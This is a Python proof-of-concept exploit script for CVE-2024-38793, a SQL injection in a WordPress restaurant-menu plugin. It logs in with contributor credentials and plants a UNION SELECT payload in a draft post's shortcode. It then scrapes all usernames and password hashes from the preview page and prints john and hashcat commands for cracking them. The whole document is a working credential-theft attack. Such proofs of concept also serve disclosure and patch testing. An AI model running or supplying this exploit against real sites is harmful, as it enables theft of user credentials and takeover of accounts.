#!/usr/bin/python3 import requests import sys import argparse import re session = requests.Session() proxies = {} def print_header(): print("CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC") print("\t Requires Contributor+ Privileges on a WordPress instance with the plugin installed") print("\t Credit: @ret2desync") print("\t Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes") print("\t Example usage:") print('\t python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"') def print_error(message): print("[-- ERROR --] "+message) def preview_page_get_creds(url, postId): try: prevNewPostReq = session.get(url + "?p="+str(postId)+"&preview=true",proxies=proxies, verify=False) except Exception as e: print_error("Failed to preview new post: " + url + "?p="+str(postId)+"&preview=true, cause: " + str(e)) sys.exit(-1) if not prevNewPostReq.status_code == 200: print_error("Failed to preview new post, return status was " + str(prevNewPostReq.status_code)) sys.exit(-1) users = [] usernames = re.findall('USERSTART:(.*):USEREND',prevNewPostReq.text) if len(usernames) < 1: print_error("Failed to get usernames") sys.exit(-1) passwords = re.findall('PASSSTART:(.*):PASSEND',prevNewPostReq.text) if len(passwords) < 1: print_error("Failed to get usernames") sys.exit(-1) for i in range(len(usernames)): user = {"username":usernames[i], "passhash":passwords[i]} users.append(user) print("[*] Successfully grabbed usernames and password hashes") return users def save_draft_with_exploit(url, postId, nonce): exploit = '[brm_restaurant_menu show_items=0 groups="-1) UNION SELECT ID,CONCAT(0x5553455253544152543a,user_login,0x3a55534552454e44),CONCAT(0x5041535353544152543a,user_pass,0x3a50415353454e44),1,0,1,1 FROM wp_users;-- -" ]' try: savePostRequest = session.post(url + "index.php/wp-json/wp/v2/posts/"+str(postId)+"/autosaves", headers={'X-WP-Nonce':nonce},json={"id":postId, "title":"a","content":exploit, "status":"draft"}, proxies=proxies,verify=False) except Exception as e: print_error("Failed to save new post: " + url + "index.php/wp-json/wp/v2/posts/"+str(postId)+"/autosaves, cause: " + str(e)) sys.exit(-1) if not savePostRequest.status_code == 200: savePostRequest = session.post(url + "wp-json/wp/v2/posts/"+str(postId)+"/autosaves", headers={'X-WP-Nonce':nonce},json={"id":postId, "title":"ab","content":exploit, "status":"draft"},proxies=proxies,verify=False) if not savePostRequest.status_code == 200: print_error("Failed to save new post, return status was " + str(savePostRequest.status_code)) sys.exit(-1) print("[*] Successfully saved new post with exploit, post id: " + postId) def create_new_post(url): try: getNewPostReq = session.get(url + "wp-admin/post-new.php",proxies=proxies,verify=False) except Exception as e: print_error("Failed to create new post: " + url + "wp-admin/post-new.php, cause: " + str(e)) sys.exit(-1) if not getNewPostReq.status_code == 200: print_error("Failed to create new post, return status was " + str(getNewPostReq.status_code)) sys.exit(-1) postId = re.findall("name='post_ID'\svalue='(.*)'", getNewPostReq.text) if len(postId) < 1: print_error("Failed to get new post ID") sys.exit(-1) print("[*] Successfully created new post, id: " + postId[0]) nonce = re.findall('wpApiSettings = {.*"nonce":"(.*)",',getNewPostReq.text) if len(nonce) < 1: print_error("Failed to Get Update Nonce") sys.exit(-1) return (postId[0], nonce[0]) def login(username, password, url): try: getLoginPageReq = session.get(url + "wp-login.php", proxies=proxies,verify=False) except Exception as e: print_error("Failed to get wordpress login page: " + url + "wp-login.php, cause: " + str(e)) sys.exit(-1) if not getLoginPageReq.status_code == 200: print_error("Failed to get login page, return status was " + str(getLoginPageReq.status_code)) sys.exit(-1) try: loginRequest = session.post(url + "wp-login.php", data={"log":username, "pwd":password},proxies=proxies,verify=False) except Exception as e: print_error("Failed to sign in to WordPress using "+ username + " " + password + ": "+ url + "wp-login.php, cause: "+ str(e)) sys.exit(-1) if loginRequest.url.endswith("wp-admin/"): print("[*] Successfully signed in to Wordpress using "+ username + " " + password) else: print_error("Login failed using " + username + " " + password) sys.exit(-1) def main(): global proxies print_header() parser = argparse.ArgumentParser() parser.add_argument('-t', '--target',required=True, help="WordPress URL to target, i.e. https://localhost/") parser.add_argument('-u', '--username', required=True, help="WordPress username of user with at least contributor privileges") parser.add_argument('-p', '--password', required=True, help="WordPress password for the given user") parser.add_argument('--proxy', required=False, help="Proxy string to use i.e. http://127.0.0.1:8080") parser.add_argument('-o','--outfile', required=False, help="Outfile to write user credentials (in form USERNAME:PASSWORD)") args = parser.parse_args() if not args.target[-1] == "/": args.target = args.target + "/" if args.proxy: proxies = {"http":args.proxy, "https":args.proxy} login(args.username, args.password, args.target) postId, nonce =create_new_post(args.target) save_draft_with_exploit(args.target, postId, nonce) users = preview_page_get_creds(args.target, postId) if len(users) > 0: print(f"[*] Found {len(users)} sets of credentials") if args.outfile: print(f"[*] Writing credentials to file {args.outfile}") try: outfile = open(args.outfile, "a") for user in users: outfile.write(user["username"] + ":" + user["passhash"] + "\n") outfile.close() except Exception as e: print_error(f"Failed to write credentials to file {args.outfile}, caused by: " + str(e)) sys.exit(1) print(f"[*] Crack hashes with: \n john {args.outfile} --wordlist= \n hashcat -m 400 -a 0 --username {args.outfile} ") else: print("[*** Credentials ***]") for user in users: print(user["username"] + ":" + user["passhash"]) print(f"[*] Crack hashes with: \n john --wordlist= \n hashcat -m 400 -a 0 --username ") print("[*] Exploit completed successfully") if __name__ == "__main__": main()